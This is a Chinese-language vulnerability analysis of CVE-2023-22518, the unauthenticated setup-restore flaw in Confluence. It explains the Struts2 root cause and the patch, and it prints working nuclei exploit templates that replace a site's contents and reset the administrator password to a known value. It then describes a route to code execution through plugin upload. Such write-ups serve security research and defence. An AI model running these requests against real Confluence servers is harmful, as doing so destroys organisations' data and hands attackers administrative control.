之后多写漏洞分析
0x00 概述 Confluence Data Center and Server 是 Atlassian 公司提供的企业级团队协作和知识管理软件,它旨在帮助团队协同工作、共享知识、记录文档和协作编辑等。经过分析,其 /json/setup-restore 接口存在未授权访问漏洞,攻击者可以通过访问该接口对站点进行恶意恢复,从而导致站点内容被完全替换,以及管理员账号密码的重置。
字段
值
备注
漏洞编号
CVE-2023-22518
漏洞厂商
Atlassian Confluence
厂商官网
https://confluence.atlassian.com/
影响对象类型
Web应用
影响产品
Confluence Data Center and Server
影响版本
除 version>=7.19.16,version >= 8.3.4,version >=8.4.4,version>=8.5.3,version>=8.6.1 之外的所有版本
0x01 漏洞影响 看官方通告:https://confluence.atlassian.com/security/cve-2023-22518-improper-authorization-vulnerability-in-confluence-data-center-and-server-1311473907.html
All versions of Confluence Data Center and Server are affected by this vulnerability . This Improper Authorization vulnerability allows an unauthenticated attacker to reset Confluence and create a Confluence instance administrator account.
官方通告说的是影响所有版本,换而言之,只有版本为 version>=7.19.16,version >= 8.3.4,version >=8.4.4,version>=8.5.3,version>=8.6.1 的不受影响,其他都受影响。
0x02 漏洞环境 docker启动环境 docker-compose 启动 8.6.0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 version: '2' services: web: image: atlassian/confluence-server:8.6.0 ports: - "8090:8090" - "5005:5005" depends_on: - db db: image: postgres:15.4-alpine environment: - POSTGRES_PASSWORD=postgres - POSTGRES_DB=confluence
配置调试环境
1 -agentlib:jdwp=transport =dt_socket,server=y,suspend=n,address=*:5005
上容器中修改 /opt/atlassian/confluence/bin/setenv.sh文件,加 jvm 参数,然后重启web容器:
1 CATALINA_OPTS ="${CATALINA_OPTS} -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005"
在idea中加入 confluence 8.6.0依赖,下断点,访问任意路由:
0x03 漏洞验证和利用 nuclei运行poc:
1 nuclei.exe -t .\confluence-json-setup-restore -restore -system.yaml -u http ://192.168 .88 .132 :8090 / -p http ://127.0 .0 .1 :8088 -timeout 30
打完之后,目标站点被完全替换成一个空的confluence:
管理员账号密码改为 admin:hello
0x04 漏洞分析 主要分析几点
为什么访问 /json/setup-restore.action 相当于访问 /setup/setup-restore.action
为什么访问/json/setup-restore.action不需要登录,即为什么能未授权访问
能未授权访问 /json/setup-restore.action之后该如何利用,怎么构造poc,怎么实现rce
/setup
下的 action通过 /json
都能访问开始调试 /json/setup-restore.action
参考:https://evilpan.com/2023/11/01/struts2-internal/#debugging-tips
发包:
1 nuclei.exe -t json-setup-restore-pure-post.yaml -u http://192.168.88.132:8090
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 id: json-setup-restore-pure-post info: name: 发包,调试用 author: inhann severity: high description: 调试 http: - raw: - |+ POST /json/setup-restore.action HTTP/1.1 Host: {{Hostname}} User-Agent: Mozilla/5.0 (Windows NT 6.1 ) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36 Connection: close Content-Length: 0 Accept: */* Accept-Language: en Accept-Encoding: gzip, deflate unsafe: false cookie-reuse: false matchers-condition: or
在 com.opensymphony.xwork2.config.impl.DefaultConfiguration
的 findActionConfigInNamespace()
下断点:
通过 this.namespaceActionConfigs.get(namespace);
得到一个 namespace 对应的所有 action ,其中 namespace 为 /json
的 action 有213 个:
其中就包括 setup-restore
,因而访问 /json/setup-restore.action
的时候,对应的就是调用 com.atlassian.confluence.importexport.actions.SetupRestoreAction
这个action :
因而接下来需要调试 this.namespaceActionConfigs
是如何构建的
this.namespaceActionConfigs
是如何构建的经过调试,大概能确定这个 this.namespaceActionConfigs
是在应用启动的时候就创建完成了,应该是根据 struts.xml
文件构建的:
为了调试这个过程,可以在运行 docker-compose restart
之后快速点击debug :
测试一下这个断点的位置 /json
这个namespace 里面有没有想要的action :
1 namespaceActionConfigs.get("/json" ).get("setup-restore" )
可以看到是有的:
因而顺着调用栈往上找,寻找 namespaceActionConfigs
构建的位置,断在 com.opensymphony.xwork2.config.impl.DefaultConfiguration
的 buildRuntimeConfiguration()
:
当前方法内,this.packageContexts
中包含着来自 package 为 json
的 action 的相关信息,但是从中可以看到,在当前位置 namespace 为 json
的 action 是不包含 setup-restore
的:
1 this .packageContexts.get("json" ).getActionConfigs()
而紧接其后,调用了 packageConfig.getAllActionConfigs()
,这个 调用返回了211 个 action ,和 packageConfig.getActionConfigs()
只返回了 26 个action 产生了鲜明的对比,而最终进入 namespaceActionConfigs
的 action 就包括来自 packageConfig.getAllActionConfigs()
所返回的 action :
因而,调试了解packageConfig.getAllActionConfigs()
是如何搜寻action的就很重要
packageConfig.getAllActionConfigs()
是如何搜寻action的进行调试:
跟进这个 getAllActionConfigs()
,可以看到调用了 parent.getAllActionConfigs()
,也就是说除了自身定义的action,一个namespace对应的action还会来自其 parent
,在这里 /json
的 parent 是 /admin
,而 /admin
的 parent 是 /setup
,来自 /admin
的 all actions 有185个:
而 package 之间的继承关系,写在 struts.xml
当中,因为一个 packge 往往对应一个 namespace ,因而可以认为 namespace 之间的继承关系写在 struts.xml 中:
如果要调试如何从 xml 中读取信息构造 packageContext ,可以把断点下在com.opensymphony.xwork2.config.impl.DefaultConfiguration
的 addPackageConfig()
方法:
小结 从上面的分析可以得出结论,一个namespace对应的action存在继承关系,/json
这个 namespace 继承自 /admin
,而 /admin
又继承自 /setup
,这就导致了 /admin
和 /setup
两个 namespace 下的所有 action 都能通过 /json
访问到,其中就包括 /setup
中的 setup-restore
这个 action ,这个action对应的类是 com.atlassian.confluence.importexport.actions.SetupRestoreAction
:
不用登录就能访问 /json/setup-restore.action
开始调试 为了调试这个过程,需要发另外的包:
1 nuclei.exe -t debug2.yaml -u http://192.168.88.132:8090
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 id: confluence-json-setup-restore-restore-system info: name: 先post访问,拿到一个atl_toke,然后上传备份文件 author: inhann severity: high description: 调试用 http: - raw: - |+ POST /json/setup-restore.action HTTP/1.1 Host: {{Hostname}} User-Agent: Mozilla/5.0 (Windows NT 6.1 ) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36 Connection: close Content-Length: 0 Accept: */* Accept-Language: en Accept-Encoding: gzip, deflate - |- POST /json/setup-restore.action?synchronous=true HTTP/1.1 Host: {{Hostname}} User-Agent: Mozilla/5.0 (Windows NT 10.0 ; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------27641609229217972931431641635 Content-Length: 572586 Connection: close Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 -----------------------------27641609229217972931431641635 Content-Disposition: form-data; name="atl_token" {{token}} -----------------------------27641609229217972931431641635 Content-Disposition: form-data; name="buildIndex" true -----------------------------27641609229217972931431641635 Content-Disposition: form-data; name="file"; filename="xmlexport.zip" Content-Type: application/x-zip-compressed zipcontent -----------------------------27641609229217972931431641635 Content-Disposition: form-data; name="edit" Upload and import -----------------------------27641609229217972931431641635-- unsafe: false cookie-reuse: true matchers-condition: or matchers: - type: status status: - 302 condition: or extractors: - type: regex name: token part: body_1 regex: - name="atl_token" value="(.*)"> group: 1 internal: true
参考 https://xz.aliyun.com/t/12981 和 https://evilpan.com/2023/11/01/struts2-internal/
执行 action 的起点,可以认为是 org.apache.struts2.dispatcher.filter.StrutsExecuteFilter
的 doFilter()
方法:
随后会触发 com.opensymphony.xwork2.DefaultActionInvocation
的 invoke()
,在其中尝试遍历 this.interceptors
这个 iterator 里面的所有 interceptor ,调用其 intercept()
方法,而 this
作为参数传入了这个 intercept()
方法当中:
一般情况下,在一个 interceptor 的 intercept()
方法当中,对于调用者传入的参数,这个参数往往是一个 ActionInvokation
,往往会继续调用其 invoke()
方法,比如:
这样往往使得调用栈会格外的长,一个 interceptor A 的 intercept()
可能出现在 interceptor B 的 intercept()
的底下,但是实际上 interceptor A 的 intercept()
的主要功能已经执行完毕,从调用栈也能看出 interceptor 的执行顺序,也可以将断点断在 com.opensymphony.xwork2.DefaultActionInvocation
的 createInterceptors()
查看 interceptor 的执行顺序:
所有 interceptor 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 [profiling] => [com.atlassian .xwork .interceptors .XWorkProfilingInterceptor] [securityHeaders] => [com.atlassian .confluence .security .interceptors .SecurityHeadersInterceptor] [setupIncomplete] => [com.atlassian .confluence .xwork .SetupIncompleteInterceptor] [transaction] => [com.atlassian .confluence .setup .struts .ConfluenceXWorkTransactionInterceptor] [params] => [com.atlassian .xwork .interceptors .SafeParametersInterceptor] [autowire] => [com.atlassian .confluence .core .ConfluenceAutowireInterceptor] [lastModified] => [com.atlassian .confluence .core .actions .LastModifiedInterceptor] [servlet] => [org.apache .struts2 .interceptor .ServletConfigInterceptor] [flashScope] => [com.atlassian .confluence .xwork .FlashScopeInterceptor] [confluenceAccess] => [com.atlassian .confluence .security .interceptors .ConfluenceAccessInterceptor] [spaceAware] => [com.atlassian .confluence .spaces .actions .SpaceAwareInterceptor] [pageAware] => [com.atlassian .confluence .pages .actions .PageAwareInterceptor] [commentAware] => [com.atlassian .confluence .pages .actions .CommentAwareInterceptor] [userAware] => [com.atlassian .confluence .user .actions .UserAwareInterceptor] [prepare] => [com.opensymphony .xwork2 .interceptor .PrepareInterceptor] [bootstrapAware] => [com.atlassian .confluence .setup .struts .BootstrapAwareInterceptor] [permissions] => [com.atlassian .confluence .security .actions .PermissionCheckInterceptor] [themeContext] => [com.atlassian .confluence .themes .ThemeContextInterceptor] [webSudo] => [com.atlassian .confluence .security .websudo .WebSudoInterceptor] [httpMethodValidator] => [com.atlassian .confluence .xwork .HttpMethodValidationInterceptor] [cancel] => [com.atlassian .confluence .core .CancellingInterceptor] [loggingContext] => [com.atlassian .confluence .util .LoggingContextInterceptor] [eventPublisher] => [com.atlassian .confluence .event .EventPublisherInterceptor] [messageHolder] => [com.atlassian .confluence .validation .MessageHolderInterceptor] [httpRequestStats] => [com.atlassian .confluence .xwork .HttpRequestStatsInterceptor] [licenseChecker] => [com.atlassian .confluence .core .ConfluenceLicenseInterceptor] [xsrfToken] => [com.atlassian .confluence .xwork .ConfluenceXsrfTokenInterceptor] [profiling] => [com.atlassian .xwork .interceptors .XWorkProfilingInterceptor] [captcha] => [com.atlassian .confluence .security .interceptors .CaptchaInterceptor] [validator] => [com.opensymphony .xwork2 .validator .ValidationInterceptor] [workflow] => [com.atlassian .confluence .core .ConfluenceWorkflowInterceptor] [profiling] => [com.atlassian .xwork .interceptors .XWorkProfilingInterceptor]
而其中的一些,会通过调用 actionInvocation.getAction()
获取本次请求所对应的 action 对象,然后判断当前对这个 action 的请求是否合法
做这样鉴权工作的 interceptor 主要有以下几个:
在 Confluence 中,一个 Action 有两个重要的父类 com.atlassian.confluence.core.ConfluenceActionSupport
和 com.atlassian.confluence.core.ActionSupport
其中定义了一些confluence中的action比较特别的接口
1 2 3 4 com .atlassian .confluence .security .interceptors .ConfluenceAccessInterceptor com .atlassian .confluence .security .actions .PermissionCheckInterceptor com .atlassian .confluence .security .websudo .WebSudoInterceptor com .opensymphony .xwork2 .validator .ValidationInterceptor
调试 ConfluenceAccessInterceptor
跟入,返回true:
调试 PermissionCheckInterceptor 调用了 action 的 isPermitted()
来判断是否合法:
这个 isPermitted()
重载自 com.atlassian.confluence.core.ConfluenceActionSupport
而对于 SetupRestoreAction
而言,直接返回 true :
调试 WebSudoInterceptor 调试其 intercept()
方法,
来到 webSudoManager.matches(requestURI, actionClass, actionMethod)
对一些 管理员相关操作做校验,跟入其中,可以看到先会判断访问的路由是否以 /admin/
开头:
1 2 3 4 5 6 7 8 9 10 11 12 public boolean matches (String requestURI, Class<?> actionClass, Method method) { if (requestURI.startsWith("/authenticate.action" )) { return false ; } else { boolean isAdmin = requestURI.startsWith("/admin/" ); if (isAdmin) { return method.getAnnotation(WebSudoNotRequired.class ) == null && actionClass.getAnnotation(WebSudoNotRequired.class ) == null && actionClass.getPackage().getAnnotation(WebSudoNotRequired.class ) == null ; } else { return method.getAnnotation(WebSudoRequired.class ) ! = null || actionClass.getAnnotation(WebSudoRequired.class ) ! = null || actionClass.getPackage().getAnnotation(WebSudoRequired.class ) ! = null ; } } }
这个路由来自于 request.getServletPath()
:
然后会判断所访问的 action 的 execute()
方法、action 对应的类、action对应的package,带不带 @WebSudoNotRequired
或者 @WebSudoRequired
调试 ValidationInterceptor 会调用 action 的 validate()
方法:
而对于 SetupRestoreAction
而言,主要是判断一下传上来的zip是不是符合一定的格式,有没有一些必要的项:
1 com.atlassian.confluence.importexport.impl.UnexpectedImportZipFileContents: The zip file did not contain an entry 'exportDescriptor.properties' . It did not contain any files , or was not a valid zip file .s
小结 所访问的 /json/setup-restore.action
不受 interceptor 鉴权的影响
poc 构造 POST 请求访问 /json/setup-restore.action
接口:
点击浏览,随便选择一个 zip 文件,然后点击上传并导入,查看一下流量:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 POST /json/setup-restore.action?synchronous=false HTTP/1.1Host : {{Hostname}}User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language : zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding : gzip, deflateContent-Type : multipart/form-data; boundary=---------------------------27641609229217972931431641635Content-Length : 572586Connection : closeUpgrade-Insecure-Requests : 1Sec-Fetch-Dest : documentSec-Fetch-Mode : navigateSec-Fetch-Site : same-originSec-Fetch-User : ?1-----------------------------27641609229217972931431641635 Content-Disposition : form-data; name="atl_token"{{token}} -----------------------------27641609229217972931431641635 Content-Disposition : form-data; name="buildIndex"true -----------------------------27641609229217972931431641635 Content-Disposition : form-data; name="file"; filename="xmlexport.zip"Content-Type : application/x-zip-compressedzipcontent -----------------------------27641609229217972931431641635 Content-Disposition : form-data; name="edit"Upload and import -----------------------------27641609229217972931431641635--
因而需要想办法构造用于恢复的zip
构造 zip zip 的结构有一定要求,需要满足 com.atlassian.confluence.importexport.actions.SetupRestoreAction
的 validate()
:
这里的思路是从这个 ExportScope.ALL
出发,寻找引用了这个常量的方法,特别是用于 setExportScope()
之类的操作,最终确定在哪个action 中可以构造一个 exportScope 是 ExportScope.ALL
的zip
具体实现步骤是先直接反编译confluence 的代码(核心代码在 \atlassian-confluence-8.6.0\confluence\WEB-INF\lib\com.atlassian.confluence_confluence-8.6.0.jar
),然后直接搜 ExportScope.ALL
:
确定可疑的方法:
1 com.atlassian.confluence.DefaultExportContext.importexport.getXmlBackupInstance()
最终确定从 com.atlassian.confluence.importexport.actions.BackupAction
的 execute()
出发,可以构造一个满足条件的 zip :
然后访问 /json/backup.action
(这个action需要登录admin):
点击 导出:
然后 用 docker cp 命令把 创建的 zip 拿出来就可以了
构造exp 在构造exp的时候发现需要传一个 atl_token
否则没法成功利用,所以先访问 /json/setup-restore.action
获取一个 atl_token
然后利用:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 id: confluence-json-setup-restore-restore-system info: name: 先post访问,拿到一个atl_toke,然后直接上传备份文件,账号为admin,密码为hello author: inhann severity: high description: 主要用到了struts2的路由特性,刚好/json能等同于/setup,访问/json/setup-restore相当于访问/setup/setup-restore,而且不用登录 http: - raw: - |+ POST /json/setup-restore.action HTTP/1.1 Host: {{Hostname}} User-Agent: Mozilla/5.0 (Windows NT 6.1 ) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36 Connection: close Content-Length: 0 Accept: */* Accept-Language: en Accept-Encoding: gzip, deflate - |- POST /json/setup-restore.action?synchronous=true HTTP/1.1 Host: {{Hostname}} User-Agent: Mozilla/5.0 (Windows NT 10.0 ; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------27641609229217972931431641635 Content-Length: 572586 Connection: close Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 -----------------------------27641609229217972931431641635 Content-Disposition: form-data; name="atl_token" {{token}} -----------------------------27641609229217972931431641635 Content-Disposition: form-data; name="buildIndex" true -----------------------------27641609229217972931431641635 Content-Disposition: form-data; name="file"; filename="xmlexport.zip" Content-Type: application/x-zip-compressed {{base64_decode("zipcontent")}} -----------------------------27641609229217972931431641635 Content-Disposition: form-data; name="edit" Upload and import -----------------------------27641609229217972931431641635-- unsafe: false cookie-reuse: true matchers-condition: or matchers: - type: status status: - 302 condition: or extractors: - type: regex name: token part: body_1 regex: - name="atl_token" value="(.*)"> group: 1 internal: true
因为restore的过程可能需要10~20秒左右,所以设置一个 timeout 在 30 秒以内收到 response 就可以(如果不加的话nuclei默认的timeout是10秒):
1 nuclei.exe -t .\confluence-json-setup-restore-restore-system.yaml -u http://192.168.88.132:8090/ -p http://127.0.0.1:8088 -timeout 30
RCE 成功替换目标站点之后,可以访问管理员后台:
点击管理应用,上传应用:https://github.com/AIex-3/confluence-hack
安装完之后点击开始跳转:
0x05 漏洞修复 Confluence 每次升级之后,jar包的名字可能会改,主要的更改之处在于jar包末尾的版本号,为了 diff 方便,可以把两个版本 confluence 的所有 jar 包的版本号都去了,然后直接拖到 idea 里面做对比:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import osimport redef rename_files (directory) : for root, dirs, files in os.walk(directory): for file in files: if file.endswith('.jar' ): new_name = re.sub(r'[_-][\d.]*\.jar' , '.jar' , file) old_file = os.path.join(root, file) new_file = os.path.join(root, new_name) os.rename(old_file, new_file) directory = r"atlassian-confluence-8.6.1" rename_files(directory)
可以看到,修复方式是给 SetupRestoreAction
加了两个 annotation @WebSudoRequired
和 @SystemAdminOnly
,这样一来,在 WebSudoInterceptor
鉴权的时候,就会要求管理员登录:
0x06 链接 https://xz.aliyun.com/t/12981
https://xz.aliyun.com/t/12961
https://evilpan.com/2023/11/01/struts2-internal/